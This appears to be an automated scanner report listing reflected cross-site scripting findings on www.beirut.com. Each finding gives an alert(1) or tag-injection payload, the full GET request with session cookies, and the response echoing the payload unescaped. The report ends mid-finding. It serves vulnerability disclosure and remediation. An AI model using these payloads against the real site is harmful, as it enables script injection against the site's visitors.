HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:21:10 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60442
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Online-Internet3793c'-alert(1)-'8f530d683c6/Personal-and-Opinion'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1a4d6'-alert(1)-'a9798730560 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet/Personal-and-Opinion1a4d6'-alert(1)-'a9798730560/3727967600 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:25:31 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57786
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Online-Internet/Personal-and-Opinion1a4d6'-alert(1)-'a9798730560'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 65fc5'-alert(1)-'382a9161d3a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet65fc5'-alert(1)-'382a9161d3a/Photography-and-Arts/3885810201 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:23:47 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60252
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Online-Internet65fc5'-alert(1)-'382a9161d3a/Photography-and-Arts'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload faeae"><a>7bb18f01c4e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internetfaeae"><a>7bb18f01c4e/Photography-and-Arts/3885810201 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:15:29 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60252
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internetfaeae"><a>7bb18f01c4e"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 687ed'-alert(1)-'a4afccbfb8b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet/Photography-and-Arts687ed'-alert(1)-'a4afccbfb8b/3885810201 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:29:15 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58008
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Online-Internet/Photography-and-Arts687ed'-alert(1)-'a4afccbfb8b'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f31cf'-alert(1)-'20945d3d02c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internetf31cf'-alert(1)-'20945d3d02c/Politics-Media-and-News/2845187560 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:33:14 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60146
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Online-Internetf31cf'-alert(1)-'20945d3d02c/Politics-Media-and-News'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70e27"><a>aed8fb31004 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internet70e27"><a>aed8fb31004/Politics-Media-and-News/2845187560 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:26:16 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60326
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internet70e27"><a>aed8fb31004"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3016d'-alert(1)-'e2875733136 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet/Politics-Media-and-News3016d'-alert(1)-'e2875733136/2845187560 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:36:56 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58488
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Online-Internet/Politics-Media-and-News3016d'-alert(1)-'e2875733136'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 93751"><a>171bd462df7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internet93751"><a>171bd462df7/Real-Estate/5645685094 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:21:35 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60126
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internet93751"><a>171bd462df7"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5b8d8'-alert(1)-'4f6b8ce44b4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet5b8d8'-alert(1)-'4f6b8ce44b4/Real-Estate/5645685094 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:27:06 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60133
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Online-Internet5b8d8'-alert(1)-'4f6b8ce44b4/Real-Estate'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload db898'-alert(1)-'42b9dfced57 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet/Real-Estatedb898'-alert(1)-'42b9dfced57/5645685094 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:32:44 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57561
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Online-Internet/Real-Estatedb898'-alert(1)-'42b9dfced57'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c65f"><a>29fc62eb03 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internet7c65f"><a>29fc62eb03/Recreation/182769021 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:36:24 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60288
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internet7c65f"><a>29fc62eb03"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b8e56'-alert(1)-'d9e4b68e571 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internetb8e56'-alert(1)-'d9e4b68e571/Recreation/182769021 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:42:37 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60377
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Online-Internetb8e56'-alert(1)-'d9e4b68e571/Recreation'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3bec0'-alert(1)-'b5798d3d725 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet/Recreation3bec0'-alert(1)-'b5798d3d725/182769021 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:47:51 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 52956
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Online-Internet/Recreation3bec0'-alert(1)-'b5798d3d725'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 466d8"><a>19ca3df0849 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internet466d8"><a>19ca3df0849/Social-and-Activist/3727967600 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:36:40 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60267
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internet466d8"><a>19ca3df0849"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7b908'-alert(1)-'d197f1277bf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
